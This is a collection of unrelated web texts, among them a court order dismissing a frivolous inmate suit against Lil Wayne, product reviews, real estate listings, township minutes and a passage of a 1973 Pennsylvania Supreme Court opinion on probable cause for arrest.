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June 4, 2009
JONATHAN LEE RICHES, PLAINTIFF,v.LIL WAYNE, ET AL., DEFENDANTS.
Plaintiff is an inmate in the Lexington Federal Medical Center in Lexington, Kentucky.*fn1 This case is now before the Court for a preliminary review of the complaint pursuant to 28 U.S.C. § 1915A, which provides:
(a) Screening.-- The court shall review, before docketing, if feasible or, in any event, as soon as practicable after docketing, a complaint in a civil action in which a prisoner seeks redress from a governmental entity or officer or employee of a governmental entity.
(b) Grounds for Dismissal.-- On review, the court shall identify cognizable claims or dismiss the complaint, or any portion of the complaint, if the complaint--
(1) is frivolous, malicious, or fails to state a claim on which relief may be granted; or
(2) seeks monetary relief from a defendant who is immune from such relief.
28 U.S.C. § 1915A. An action or claim is frivolous if "it lacks an arguable basis either in law or in fact." Neitzke v. Williams, 490 U.S. 319, 325 (1989). Upon careful review of the complaint and any supporting exhibits, the Court finds it appropriate to exercise its authority under § 1915A; this action is legally frivolous and thus subject to summary dismissal.
The two-page complaint alleges - among other things - (1) that Defendant rap song artist Lil Wayne and Wayne's associates breached an agreement whereby Plaintiff would provide lyrics to Mr. Wayne and, in return, Mr. Wayne would pay for Plaintiff's appellate counsel; (2) that Mr. Wayne sexually assaulted Plaintiff because Plaintiff had an alleged affair with Mr. Wayne's mother (and sold nude pictures of her on E-bay); and (3) that Mr. Wayne stole his identity and credit cards.
In Neitzke v. Williams, 490 U.S. 319 (1989), the Court noted that when a district court considers an in forma pauperis motion, it has the unusual power to pierce the veil of the complaint's factual allegations and dismiss those claims whose factual contentions are clearly baseless.... [such as] claims describing fantastic or delusional scenarios, claims with which federal district judges are all too familiar.
Id. at 327-28. See also Lee v. Clinton, 209 F.3d 1025 (7th Cir. 2000), and Gladney v. Pendleton Correctional Facility, 302 F.3d 773, 774 (7th Cir. 2002) ("Sometimes, however, a suit is dismissed because the facts alleged in the complaint are so nutty ('delusional' is the polite word) that they're unbelievable, even though there has been no evidentiary hearing to determine their truth or falsity.") Plaintiff's allegations draw just such a "fantastic or delusional scenario." The Court notes that a search in PACER indicates that Plaintiff has filed over 2200 actions in federal courts around the country. Examining the records of each action would be a monumental waste of judicial resources, so the Court cites just three to make the record. See, e.g., Riches v. Tony Romo and Jessica Simpson, Case No. 08-cv-014-WWC-PT (M.D. Pa., filed Jan. 2, 2008); Riches v. Barry Bonds, Bud Selig, and Hank Aaron's Bat, Case No. 07-cv-375-RLMCAN (N.D. Ind., filed Aug. 14, 2007); Riches v. Alicia Keys and Rihanna, Case No. 08-cv-080-MJJ (N.D. Cal., filed Jan. 7, 2008). The instant case is just one more in Plaintiff's long line of "fantastic" cases.
In summary, Plaintiff's complaint does not survive review under § 1915A. Accordingly, this action is DISMISSED with prejudice. Plaintiff is advised that the dismissal of this action will count as yet another strike under the provisions of 28 U.S.C. § 1915(g).
MICHAEL J. REAGAN United States District Judge
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LRC, Inc. About Us


text:
Product details
Our Skydale double door cabinet allows you to tidy away your bathroom items in a classic oak effect finish cabinet.
- Colour: Brown
- Guarantee: 1 year
- Material: MDF
- Effects and finish: Oak effect
- Features: 2 adjustable shelves.
- Also available: Single door
- Fixings: Included
- Dimensions: (H)46, (W)56, (D)13cm
Skydale Bathroom Double Door Cabinet - Oak Effect 282626
Select product options
Skydale Bathroom Double Door Cabinet - Oak Effect
Free collection in store.
Home delivery within 3 days
Next day, named day & Saturday also available
{"calculators": { "calculator": { "pimProductAttr": ["", "", "", ""], "calcType": "" } } }
Rated 3.9 out of 5 by 8 reviewers.
Rated 4 out of 5 by noddy quite good small in depth....easy to assemble.....fix unit onto wall first....then fit the doors 07 October 2016
Rated 2 out of 5 by DIYMan Not as described and shown in picture This item is currently different from what described and shown in picture. I ordered this item as most of my fittings and accessories are in Oak finish and this seemed right to replace the old mirror. However, on arrival, the box described the item as Wood (and/or Grain, I can't recall) effect, and in fact, was more like that, ie a whiter ash like look. this may suit some as it I believe it is more fashionable but is NOT like the description. I returned my item, so I can't really comment on the quality and finish of the product. 25 July 2016
Rated 4 out of 5 by Hodgeland Excellent quality, easy to assemble Ok I was preparing myself for a lovely battle with this product (along with the hubby) but I was pleasently suprised. The cabinet was easy to assenble and is heavy so feels sturdy. If there was one criticism it would be the colour of the strip on the back panel, it's a horrible brown/orange colour which is a little garish on the eye everytime I open the cabinet, a dark brown or wood effect would be more suitable. Very pleased with this product though. 23 July 2016
Rated 5 out of 5 by Dave49 Stylish cabinet I found this product easy to assemble and good value, the only improvements that I can see is that the screws for fixing to the wall could be slightly longer and I felt that if the dowels were glued in it would be stronger, however this is a personal choice and not a problem, overall a stylish and useful cabinet. 11 April 2016
Rated 4 out of 5 by Jenna Nice Sturdy Cabinet Good cabinet, easy to put together, the shelves are quite small but a decent size for a small bathroom. 13 January 2016
Rated 4 out of 5 by selinaclare Bathroom cabinet Lovely bathroom cabinet,easy to put together & fix to the wall,although i would recommend using longer screws as the screws that came with it are a bit too short.Finished product looks great. 08 September 2015
Rated 4 out of 5 by Royston Good quality Easy to put together with clear instructions.Had to drill out hinge bracket fixing holes to allow both doors to align up properly,but otherwise no problem 19 August 2015
Rated 4 out of 5 by Phil as expected Very pleased with this cabinet, its look and feel are expensive and it is sturdy. It was easy to assemble but my only gripe is that the screws supplied to fix it to the wall were far too short, the doors are quite heavy and if your internal walls are like mine you will need longer fixings to secure the cabinet safely. Purchased online and delivery was quick. 31 December 2014
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subset: commoncrawl


text:
North Park Village: Maple Syrup Festival
March 24, 2013 | 10 am - 3 pm
North Park Village Nature Center
5801 N. Pulaski Rd.
Chicago, IL 60646
History: The Nature Center is situated within the 155-acre North Park Village campus. The site occupies land owned in the nineteenth century by Pehr Peterson who transformed its pre-settlement landscape of wet woods into a farm and landscape nursery. The farm was later purchased by the City of Chicago for the establishment of a tuberculosis sanitarium, which opened in 1915. After the sanitarium's 1974 closure, a nature preserve was created in the northwest corner of the expansive site. Today North Park Village Nature Center is part of a network of nature areas on the city's northwest side, including high quality prairies and savannas along the North Branch of the Chicago River that are owned by the Forest Preserve District of Cook County.
Openlands' Involvement: The City's plans to redevelop the sanitarium site as a shopping center following its closure led to ardent protests by the community. Openlands was a key partner in the coalition led by the North River Commission that successfully advocated for the preservation of the land as public property. The subsequent designation of the site as North Park Village included the creation of a nature preserve planted with native species, the conversion of some sanitarium-era buildings to senior housing, and the establishment of Peterson Park as well as a recycling center. In 1989, Openlands was granted a conservation easement by the City of Chicago on the 155-acre site to preserve all of the existing green space, including the Nature Center, for 75 years. Openlands and many community groups have been advocating since then to make that easement permanent but have not yet been successful. Openlands' TreeKeeepers also volunteer on Wednesday and Sunday mornings at the Nature Center, and Openlands has long been active in the North Park Village Advisory Council.
Celebrating 50 Years
Throughout the year, join us for a series of special events hosted by Openlands or our partners, which celebrate Openlands' contribution to our region.


text:
Lisa's Grilled California Veggie Sandwich
Lisa G. Sweet Pantry Gal
Funny because this is a recipe I adopted that I was making for dinner. I will post all My pics by dinner time ;)
Featured Pinch Tips Video
- 2 Tbsp
- red pepper hummus
- 4 slice
- multi grain bread loaf
- 1/2
- avocado
- 1/2 tsp
- lemon juice
- 2 slice
- monterey jack cheese
- 1
- red bell pepper, roasted
- 4 slice
- cucumber, peeled and sliced lengthwise
- 2 slice
- tomato
- 1/4 c
- alfalfa sprouts
- salt and pepper to taste
- grilled veggies of choice. (season)
Directions Step-By-Step
1Slice the avocado and squeeze lemon juice and salt & pepper. Set aside.
Spread roasted red pepper hummus on each slice of bread.
2Next, top with cheese slices.
Place roasted veggies on one side of bread. Used roasted red pepper and zuchinni.
About this Recipe
Course/Dish: Other Main Dishes, Sandwiches
Main Ingredient: Vegetable
Regional Style: American
Dietary Needs: Vegetarian
Other Tags: Quick & Easy, Healthy


text:
Recently, my favorite web boys, Tom and Lorenzo wanted to do an interview to get "all the inside dirt" on what really goes on to get your dress or gown on the Red carpet. Of course, I obliged, I got my coffee, set up a chair on my porch (why does it sound like I live in the backwoods of Arkansas?) and gave it to them! If you REALLY want to know what goes on behind the scenes of the "Red Carpet Game", then you'll be sure to read my interview.
D-List Buddies: Designer Nick Verreos and Kathy Griffin, in NIKOLAKI custom gown, Bravo A List Awards Even David--my NIKOLAKI partner-in-crime--was surprised at how candid I was and how much information I gave. This industry tends to be secretive and not very willing to give out inside dish on what goes on "behind-the-scenes" but I was very open. I spoke about stylists; the pr agencies connection; the competition with the multi-million dollar conglomerates; how if you ever see one of my dresses on the red carpet, it's like winning the lottery. It's all there. Check out the interview HERE and hope you have your notepad and get some valuable information. Next time, maybe people will think differently when asking "Why isn't Charlize Theron wearing your gowns...she would be PERRRRRFECT!!!!!!!"


text:
(904) 996-0699
Share Broker Profile
Affiliated Broker
Wendell Brandt
A.John Richwine CCIM brings more than 37 years of industry experience to his latest enterprise. Prior to embarking on his real estate career, John gained experience as a staff accountant in a public accounting firm. Since 1974 he has owned and successfully sold or merged multiple Michigan based businesses and has become a respected authority in commercial real estate and business brokerage. He has learned and developed many methods and processes for brokering businesses and real estate transactions. These methodologies and processes have maintained successful client and customer relationships over the years. And additionally, John has developed educational programs that have been offered to business brokers throughout the state of Michigan.John earned his BBA from Cleary University and has earned the prestigious commercial investment real estate designation of Certified Commercial Investment Member (CCIM) through the National Association of Realtors. He is an active member of the National Commercial Investment Real Estate Institute and has been State Director and President of the Michigan Business Brokers' Association. John served as an elected Township Trustee and then Township Supervisor for Monroe Township, Michigan. John has for over 37 years have assisted company owners in their mergers and acquisitions of their businesses and helped some of those companies in acquiring their real estate investments. He has provided business investors with
Established Businesses For Sale
Cash Flow: $125,000
An architectural sign company servicing office, municipal entities, shopping centers, industrial parks for their outdoor on site signage needs from design, fabrication to installations. The tallest of the signs are handled by a double man bucket truck for sixty feet high signs. The other signs may be lobby lighted signs, Fascia signs for strip...
Currently a liquor store; Large Walk-in beverage coolers; Full commercial kitchen with appliances; Walk-in kitchen coolers; Large bar & entertainment area to be redeveloped; Liquor license (4COP) Liquor Business ($700,000.00). Building Selling At $260,000.00 and there may be a lease opportunity. Both assets must be transferred...
Individuals and companies listed here claim to be an authorized business transaction intermediary. While BizBuySell does not doubt these claims, BizBuySell has not verified them and makes no guarantee, warranty or representation about them. It is your responsibility to independently confirm the claims made by individuals and companies listed here.


text:
Compiled by Tom Hultman Here's our annual look at each Major League Baseball team's promotional giveaways schedule for 2007. Once again, bobbleheads and team card sets rule the roost, but some teams have added to the fun by giving away … Read More
Matsuzaka SPX Rookie Card
Boston Red Sox ace Daisuke Matsuzaka will be the seventh player to be unveiled by Upper Deck for its SPX Baseball mystery rookie redemption card program (card #128). Early online sales for the Matsuzaka SPX redemption have been around $250. … Read More
MLB Team Addresses
Major League Baseball 245 Park Ave., N.Y., N.Y. 10167, (212) 931-7800 www.majorleaguebaseball.com; add Nickname.MLB.com (ie Cubs.MLB.com) for team sites American League Anaheim Angels, 2000 Gene Autry Way, Anaheim, CA 92806, (714) 940-2000 Baltimore Orioles, 333 W. Camden St., Baltimore, MD … Read More
2005 Bowman AFLAC All-American Redemption checklist announced
Topps has announced that its 2005 Bowman AFLAC All-American Redemption checklist has been finalized. The redemptions were seeded one per box in 2005 Bowman Draft Picks & Prospects baseball. Card # Name High School Drafted By in 2006 1 of … Read More
Hancock To Be Honored In Special Topps Factory Set
Topps will add a special "In Memoriam 1978-2007" notation to the front of the Josh Hancock card that will appear in the Topps Baseball factory sets that feature the St. Louis Cardinals logo on the packaging. Hancock's card is one … Read More
Topps Announces Allen & Ginter base set short-prints
TOPPS ANNOUNCES ALLEN & GINTER SHORT PRINTS The # 1 question from collectors this past weekend at the National Collector's Convention in Cleveland, OH: What are the Allen & Ginter short prints? Topps announces there are several short printed base … Read More
Carew remains one of the best signers around
By Ross Forman Rod Carew has a Hall of Fame attitude toward the sports memorabilia industry, especially card shows, putting him on par with Harmon Killebrew and Brooks Robinson. Seriously. Despite the serious game face he wore through his big … Read More
Topps combines efforts with MLB 2K7 video game
Topps and video-game manufacturer 2K Sports have announced their latest cross promotion between Topps Baseball Cards and the MLB 2K7 video game. Topps will deliver exclusive "cheat codes" on randomly inserted cards depicting Mantle in the first series of 2007 … Read More
While almost everyone who has ever collected sports memorabilia says their collection is the best, we at TuffStuff.com have decided to put those claims to the test. For our latest giveaway, we're going to decide who has the best collection … Read More
Museum is high bidder for Black Sox documents
The Chicago History Museum won a collection of rare documents, letters and memos detailing the Black Sox scandal at a Mastro Auctions sale auction that ended Dec. 13. The museum offered about $100,000 for the collection, topping 35 other bids, … Read More


text:
Monday, August 8, 2016
Ex-Adria CEO takes on new airline role
5 comments:
- AnonymousAugust 8, 2016 at 2:17 PM
So he will fuck up another airlineReplyDeleteReplies
- AnonymousAugust 9, 2016 at 4:52 PM
Unless he is there just to collect his salary YESDelete
if he will be allowed to make some changes in the management of Stobart Air poor airline.
- AnonymousAugust 8, 2016 at 3:26 PM
A surprising move somewhat lacking in ambition, to say the least..ReplyDeleteReplies
- AnonymousAugust 9, 2016 at 4:49 PM
Of course he has ambition but not every airline is so stupid to hire him.Delete
- AnonymousAugust 9, 2016 at 4:46 PM
Poor Stobart Air!ReplyDelete
How did he land this job?
His references are just destroying and making debits. Again poor Stobart Air.
Hope they fill fire him quickly. Pleas don't pay him to exit.
Before posting a comment be mindful of other participants and readers. EX-YU Aviation News does not tolerate insults, excessive swearing, racist, homophobic or any other chauvinist remarks or provocative posts with the intention of creating further arguments. Such comments will be deleted as soon as possible. The opinions expressed by those providing comments are theirs alone, and do not reflect the opinions of EX-YU Aviation News. Thank you for your cooperation.


text:
Palit GeForce 9600 GSO Sonic 768MB
By: Shawn Baker | NVIDIA GeForce GPU in Video Cards | Posted: May 13, 2008 4:00 am
Comment | Email to a Friend | Font Size: AA
TweakTown Rating: 88%Manufacturer: Palit
High Quality AA and AF
Our high quality tests let us separate the men from the boys and the ladies from the girls. If the cards weren't struggling before they will start to now.
This is the first time we've seen the GT get any real jump on the GSO.
World In Conflict
With AA/AF on we again see the GSO lag a little more behind when compared to our non AA/AF tests.
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text:
from Wiktionary, Creative Commons Attribution/Share-Alike License
- n. A granular chrysolite mineral of a greyish or yellowish color.
from the GNU version of the Collaborative International Dictionary of English
- n. A granular mineral of a grayish or yellowish color, found in Bolton, Massachusetts. It is a silicate of magnesium, belonging to the chrysolite family.
from The Century Dictionary and Cyclopedia
- n. A mineral of the chrysolite group, occurring in granular form at Bolton, Massachusetts. It is a silicate of magnesium, containing also a little iron protoxid.
Bolton + -ite, after Bolton, Massachusetts, USA. (Wiktionary)
Sorry, no example sentences found.


text:
Braham MN Real Estate & Homes for Sale
5 Properties Found
The median home value in Braham, MN is $143,450.
This is
higher than
the county median home value of $140,100.
The national median home value is $177,414.
The average price of homes sold in Braham, MN is $143,450.
Approximately 60.9% of Braham homes are owned,
compared to 25.64% rented, while
13.46% are vacant.
Braham real estate listings include condos, townhomes, and single family homes for sale.
Commercial properties are also available.
If you see a property you're interested in, contact a Braham real estate agent to arrange a tour today!
Sort Results:
1 - 5 of 5 Properties Displayed
Refine Property Search
Page 1 of 1 Prev | Next
511 2nd Street NW Braham, MN 55006
Courtesy: Turpen Realty, Inc.
View additional info
Freshly updated older home charm. Very nice floor plan. Maple floors. Too many updates to list. Wonderful lot on dead-end road. Schedule your showing, you will be impressed.
Courtesy: Greater Midwest Realty
View additional info
Charming spit level home on HUGE corner lot! New Laundry room, 2 full kitchens,central air, new flooring,lighting,ceiling fans! this home is move in ready!formerly used as a duplex, separate entry, rent out basement or keep it one huge home! enjoy your fall days picking apples from your apple tree, enjoy dinner on your new deck and a bonfires/star gazing in your backyard! Great location and great neighborhood!
Courtesy: Re/Max Results
View additional info
Best of both worlds in this rural setting, which is just minutes to shopping, parks, school, etc.!! This diamond in the rough features stained glass windows, original woodwork, open staircase, high ceilings and large windows to view the countryside. New insulation and drywall several years ago, newer roof on house and barn, compliant septic, deep well, on demand water heater, updated electric panel, etc. Adorable barn awaits your storage or farm animals! Easy commute to Twin Cities!
427 3rd Street SE Braham, MN 55006
Courtesy: Coldwell Banker Pro IV
View additional info
Spacious 3BR/2Bath Rambler In Town Large Living Room and Lower Level Family Room, Hard To Find 3 Bedrooms on One Level Large Private Backyard With Mature Trees Overlooks Wooded Area With Room For A Garden Or Play Area 12x10 Storage Shed Newly Installed Drain Tiled System Has A Transferable Warranty With 23 Years Remaining. Gutter Helmets Maintenance Free Exterior. Most Updates to Home in 2001. Roof Is 8 Years Old. Meticulously Maintained. Quick Closing Possible. Must See Soon!!
Courtesy: Re/Max Results
View additional info
Acreage on the river. Nicely sized 2 bedroom home. Large deck that wraps around 2 sides. Great getaway location.
Refine Property Search
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Braham MN Real Estate Listings Provided By:
Real Living First Realty
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Braham ZIPs55006 Homes for Sale


text:
Collected Poems
signed Cloth
1930 · New York
by Robert Frost
New York: Random House, 1930. Cloth. Very Good. The 1930 true 1st edition. #343 OF 1,000 COPIES SIGNED BY ROBERT FROST at the half-title. Tight and VG+ in its oatmeal cloth, with mild darkening along the spine. Thick octavo, 349 pgs. top-edge gilt. (Inventory #: 12250)


text:
Party time 1 and 2 for Saints Row: The ThirdHome / Playstation 3 /
This page contains Saints Row: The Third Hints for Playstation 3 called "Party time 1 and 2" and has been posted or updated on Dec 9, 2011 by firefly2000.
- Developer: Volition Inc.
- Publisher: Thq
- Genre: Action Adventure
- Release: Nov 15, 2011
- ESRB: Mature
Party time 1 and 2
Ride to the airport to meet you there with Pierce. He wants to play for the Saints a penthouse, which is currently inhabited by Morgenstern. Jumps from the helicopter lands and on the roof of the penthouse. Grab the lieutenant and used him as a human shield. You learn from him the security code. This is 3-1-3-1. Kill the remaining enemies and enter the camp where you get some grenades. Have you cleaned the camp, the Saints can you let in on the lifts.
Arrived together with your support, you kill the members of Morning Star. You will get the message that the entire penthouse is equipped with explosives. Let's get out, right in the helicopter and begins with the persecution of the lieutenants. If it unobtrusively on their heels. After landing, you bring down your bird, and makes you walk by on their way to him. Catch him in order to obtain the information about which wire to cut to defuse the bomb, must. Then you can finish him off with a single shot.
Please Submit a Problem for any incomplete, non-working or fake cheat listed above.
If you know other secrets, hints, glitches or level guides, then please Submit your Cheats and share your insights with other players.
From: Police
Posted on: 07-27-2014
From: TimRRobin Drake
Posted on: 06-19-2014
From: Sminge
Posted on: 03-03-2014
From: Divio
Posted on: 04-19-2013
From: beautifullyDope
Posted on: 03-25-2013
From: Needanswers
Posted on: 10-05-2012
From: Aoitatsu
Posted on: 09-18-2012
Stuck in this game? Set a specific, clearly defined question and let other gamers answer your question or view answers to previously asked questions. If you think you are an expert then please try to help others with their questions.
Saints Row: The Third - GS News Update Trailer
- Aug 21, 2014, Views: 216
Saints Row: The Third - Warrior Pack Trailer
- Aug 21, 2014, Views: 147
Saints Row: The Third - Penthouse Pack Trailer
- Aug 21, 2014, Views: 121
- The Journey: Bob's Story, (PC)
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text:
Skip to Content
The World's Greatest Music
Email the show or Text 61812
In the olden days, if you played a drum, fife, bagpipes or bugle, the likelihood was you'd find yourself in the line of fire. Mark the 200th anniversary of the Battle of Waterloo with our gallery of some of the most heroic musicians ever.
Picture 7 of 13
Buglers as young as 12 became valued members of the British army, sounding the calls that moved men about the battlefield and the camp. Two days into the war, during the second Battle of Elandslaagte on 21 October 1889, bugle boy John Shurlock joined the chase against the fleeing Boers, shooting three of them. He became a hero of the British campaign.
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text:
Bath Township emergency plan getting update
The Bath Township Emergency Management Plan will get an update this summer courtesy of an unpaid intern from The University of Akron's Emergency Management Program.
Fire Chief Walter Hower told trustees at the May 7 meeting the township plan last was updated in 2002. According to internship program documents, the university will provide a senior in the emergency management program to work 300 hours in exchange for four credits. The student will be mentored by fire department personnel.
Also during the meeting, Service Director Bob Wilson reported the department is scheduling a replacement of guardrail posts and has begun roadside mowing for the summer. He also reported sections of sidewalk and curbing at the administration complex are being replaced by Perrin Concrete.
Bath Parks personnel have repaired and lengthened players' benches at two fields at the Bath Baseball Park. In addition, parks personnel constructed enclosures for dugouts at two fields, said Park Director Michael Rorar. The Revere Baseball-Softball Association donated half of the project funding and is expected to complete the dugout enclosures with tin roofs, he added.
Park personnel also have begun to treat exotic plant species as part of the wetlands restoration of the Garden Bowl and Moore's Chapel Cemetery at the Bath Nature Preserve. Rorar said the township received assistance on the project from Karen Adair, of the Nature Conservancy, which provided special equipment and labor.
Trustees appointed 12 residents to the volunteer Bath Township Community Emergency Response Team. They include Jeff Andrew, Gary Beres, Karen Beres, Jack Bonsky, Gary DeMoss, Beth Doney, Mike Doney, Jim Paulett, Clint Robbins, Suzanne Robbins, Dana Singer and Kim Stanley.
In other business, trustees:
• approved a payment of $186,792 in requisitions and purchase orders;
• accepted the resignation of part-time police officer Zachary Honaker, effective May 17;
• removed part-time communication specialist Teri Burnette from her one-year probationary period, effective March 15, and increased her hourly wage to about $19 per hour as outlined in the township organizational resolution;
• agreed to post the positions of part-time police officer and part-time dispatcher with closing dates of May 28;
• approved auctioning three police vehicles that are being replaced with new vehicles;
• approved payment of $31,489 to VanDevere Chevrolet for a 2012 Chevrolet Tahoe special service vehicle for the fire department;
• approved a second payment of $20,838 to Synergy LLC for replacement of boilers in the Bath Administration Building;
• approved final payment of $140,426 to Karvo Paving Co. for road resurfacing completed in 2011;
• approved a one-year extension of the nightly janitorial contract for township buildings with Jani-King at a cost of $21,600 for the year; and
• set a public hearing for May 21 at 4:30 p.m. in the trustees' meeting room to hear comments on the proposed zoning change of a parcel at 4655 Medina Road from R-2 (Single-Family Residential) to B-4 (Limited Business).
The Bath trustees next will meet May 21 at 4 p.m. in the trustees' meeting room on the lower level of the Bath Administration Building, 3864 W. Bath Road.
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A Twist on French Cuffs
December 2, 2016
Wow! I have been slacking on the blog lately… As many of you know, I am absolutely obsessed with creating videos thus I have been extremely active over on my YT channel. However, I will be coming back to the blog to start sharing more of my outfits, style tips and any other bits like usual! Today, I have an outfit that I wore last week that I personally thought was pretty unique. Wide cuffs (Yes, I know they are also known as french cuffs) have been extremely READ
Kenzo x H&M
November 3, 2016
If you haven't heard, H&M just released their new collection in collaboration with Kenzo. The collection encompasses bright color, animal prints and unique textiles. Definitely one of the bolder collaborations H&M has created but who doesn't love a nice pop of Kenzo! Today I decided to pair one of the READ
Navy Souvenir
October 26, 2016
Can we start off with just admiring this jacket for a moment. I went on the hunt for the perfect souvenir jacket for a while that embodied my style + had a lot of visual interest. Express totally came through with this incredible navy bomber style souvenir jacket with tiger embroidery. The attention to READ
Green Suede Sneaks
October 20, 2016
Well it seems like that one cold day we had from my last post was a random act of kindness. LA is back to 100 degrees so the layers had to be hung back up for a few weeks. READ
Cool Fall Tones
October 17, 2016
While in New York for fashion week, I had the honor of visiting the H&M showroom and getting a peak at the F/W 2016 Studio Line. I was so excited to get gifted this jacket and knew it had to be styled once the weather started to drop below 80 degrees… Today, I styled this fall appropriate look with a casual hoodie as I wanted to play down the structured element of the jacket. Smart pants seemed like the perfect READ


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decided: April 13, 1973.
Appeal from order of Superior Court, Oct. T., 1972, No. 22, affirming judgment of sentence of Court of Common Pleas, Family Court Division, of Philadelphia, Feb. T., 1971, No. 1619, in re George Betrand, a minor.
Stuart H. Schuman, Assistant Defender, with him Jonathan Miller, Assistant Defender, and Vincent J. Ziccardi, Defender, for appellant.
James T. Ranney, Assistant District Attorney, with him Milton M. Stein, Assistant District Attorney, Richard A. Sprague, First Assistant District Attorney, and Arlen Specter, District Attorney, for Commonwealth, appellee.
Jones, C. J., Eagen, O'Brien, Roberts, Pomeroy, Nix and Manderino, JJ. Opinion by Mr. Justice Roberts. Mr. Chief Justice Jones and Mr. Justice Eagen concurred in the result. Concurring Opinion by Mr. Justice Pomeroy.
[ 451 Pa. Page 384]
On January 8, 1971, a pharmacist and his assistant were beaten and robbed by three unidentified males on Germantown Avenue in Philadelphia at approximately 8:00 p.m. Almost six weeks later the police received an anonymous phone call from a youth who said that one of the participants in that robbery was named "Primo" and that "Primo" lived in a certain area of Philadelphia. Two days later, appellant, George Betrand, a juvenile, known to the police as "Primo", was arrested without a warrant. He was taken immediately to the station house and placed in a locked interrogation room where he remained for approximately two hours. A detective subsequently arrived and advised him of his rights by reading from the standard police interrogation card. After approximately one-half hour of questioning, appellant gave an oral statement admitting his involvement in the robbery.
Appellant was charged with robbery, assault with intent to kill, aggravated assault and battery, and conspiracy. He was adjudicated delinquent by the Juvenile Division of the Family Court of Philadelphia and committed to the Youth Development Center, South. Following that determination he appealed to the Superior Court which affirmed the adjudication of delinquency. Betrand Appeal, 222 Pa. Superior Ct. 67, 293 A.2d 359 (1972) (Packel, J., dissenting, joined by Hoffman, Spaulding, JJ.) We granted allocatur. Appellant contends that his confession was the fruit of an illegal arrest and was also the product of an involuntary and unintelligent waiver of his Fifth Amendment right against self incrimination.*fn1 We reverse and remand.
[ 451 Pa. Page 385]
At this late date it is uncontrovertibly beyond dispute that the Constitution of the United States prohibits the arrest of a person unless the arresting officer has probable cause to believe that a crime has been or is being committed. McCray v. Illinois, 386 U.S. 300, 87 S. Ct. 1056 (1967); Ker v. California, 374 U.S. 23, 83 S. Ct. 1623 (1963); Henry v. United States, 361 U.S. 98, 80 S. Ct. 168 (1959); Carroll v. United States, 267 U.S. 132, 45 S. Ct. 280 (1925); Commonwealth v. Goslee, 427 Pa. 403, 234 A.2d 849 (1967); Commonwealth v. Ellsworth, 421 Pa. 169, 218 A.2d 249 (1966); Commonwealth v. Bosurgi, 411 Pa. 56, 190 A.2d 304 (1963). Probable cause has repeatedly been held to exist only "where 'the facts and circumstances within their [the officers'] knowledge and of which they had reasonably trustworthy information [are] sufficient in themselves to warrant a man of reasonable caution in the belief that 'an offense has been or is being committed'." Brinegar v. United States, 338 U.S. 160, 175-76, 69 S. Ct. 1302, 1311 (1949), quoting Carroll v. United States, supra at 162, 45 S. Ct. at 288; see McCray v. Illinois, supra; Ker v. California, supra; Commonwealth v. Goslee, supra; Commonwealth v. Ellsworth, supra. See also Commonwealth ex rel. Grano v. Anderson, 446 F. 2d 272, 273 (3d Cir. 1971).*fn2
It is also well settled that even hearsay information is sometimes sufficient to establish probable cause. See Draper v. United States, 358 U.S. 307, 79 S. Ct. 329 (1959); Brinegar v. United States, supra. However,
[ 451 Pa. Page 386]
when, as here, probable cause for a warrantless arrest*fn3 is based on such hearsay information supplied by an anonymous informer, the arresting officer must have two types of additional information before probable cause is established. First, in order to assure that the tip is not merely an unsupported rumor, the officer must know the underlying circumstances from which the informer concluded that the suspect participated in the robbery. Second, in order to reduce the possibility that a tip meeting the first standard is merely a well-constructed fabrication, the officer must have some reasonable basis for concluding that the source of the tip was reliable. Spinelli v. United States, 393 U.S. 410, 89 S. Ct. 584 (1969); Aguilar v. Texas, 378 U.S. 108, 84 S. Ct. 1509 (1964); Commonwealth v. Garvin, 448 Pa. 258, 293 A.2d 33 (1972); cf. Commonwealth v. Mamon, 449 Pa. 249, 297 A.2d 471 (1972).
Applying the Aguilar-Spinelli standards here it is patently clear that the informant's tip, the sole basis for appellant's arrest, was insufficient to establish probable cause. First, the tip came from an unidentified informant, who supplied no indication that he had any personal knowledge of the crime whatsoever. His information was completely conclusory with no underlying facts or circumstances to bolster his report. The anonymous caller merely told the police that the suspect's name was "Primo" and indicated where "Primo" lived -- nothing more. Thus the first requirement of Aguilar-Spinelli -- underlying circumstances supporting an informant's conclusion -- was clearly absent here.*fn4
[ 451 Pa. Page 387]
Secondly, as appellant succinctly points out "the record is devoid of underlying circumstances showing [any] reason to believe that the informant himself was a credible person." Thus the second aspect of the Aguilar-Spinelli test is likewise unfulfilled.
The Commonwealth urges that probable cause was established here because the "anonymous telephone call contained significant inner indicia of reliability, important details of which were corroborated by the arresting officers' own knowledge." Apparently the Commonwealth is contending that the informant was inherently reliable since he was an "anonymous citizen-informant" who was "too scared" to reveal his identity to the police. Such an informant, argues the Commonwealth, is more reliable than "the typical stoolie". However, the Commonwealth here engages in sheer conjecture, as it admittedly has no evidence that the unknown informant was either a "typical stoolie" or a "citizen-informant". It thus has absolutely no indication of the informant's reliability.
Next the Commonwealth contends that the tip was corroborated because the officers knew that "Primo" was a gang member and that he lived near the scene of the robbery. However, such information is certainly not sufficient independent corroboration, but simply the grossest form of unsupported speculation and guilt by association.
A similar disingenuous argument by the Commonwealth was categorically rejected by this Court in Commonwealth v. Goslee, supra. There the Commonwealth argued it had probable cause to arrest appellant for
[ 451 Pa. Page 388]
burglary because he was a known burglar and lived near the scene of the crime. This Court held that such information at best amounted to mere suspicion. We there said that "[t]o sustain this conviction we would be forced to countenance a proposition that presence plus a prior conviction is sufficient for arrest -- a proposition we cannot accept." Commonwealth v. Goslee, supra at 407, 234 A.2d at 851. See Commonwealth v. One 1958 Plymouth Sedan, 418 Pa. 457, 211 A.2d 536 (1965).
Thus this record reveals only an anonymous, unsubstantiated tip, knowledge that the suspect was a gang member, and that he lived near the scene of the robbery. This is clearly constitutionally insufficient to establish probable cause and the arrest was therefore illegal. Commonwealth v. Holton, 432 Pa. 11, 247 A.2d 228 (1968).
The next question to be resolved is whether appellant's oral statement was so tainted by the illegal arrest as to be inadmissible. The seminal case on this issue is Wong Sun v. United States, 371 U.S. 471, 488, 83 S. Ct. 407, 417 (1963), where the Supreme Court announced that the relevant test is: ". . . 'whether, granting establishment of the primary illegality, the evidence to which instant objection is made has been come at by exploitation of that illegality or instead by means sufficiently distinguishable to be purged of the primary taint.'" (Citation omitted.) See Commonwealth v. Cephas, 447 Pa. 500, 291 A.2d 106 (1972); Commonwealth v. Rowe, 445 Pa. 454, 282 A.2d 319 (1971).
The Supreme Court also noted that the challenged evidence may be purged of the primary taint only (1) if it results from "'an intervening independent act of a free will,'" Wong Sun, supra at 486, 83 S. Ct. at 416, or (2) if the connection between the arrest and the evidence (confession) has "'become so attenuated as to
[ 451 Pa. Page 389]
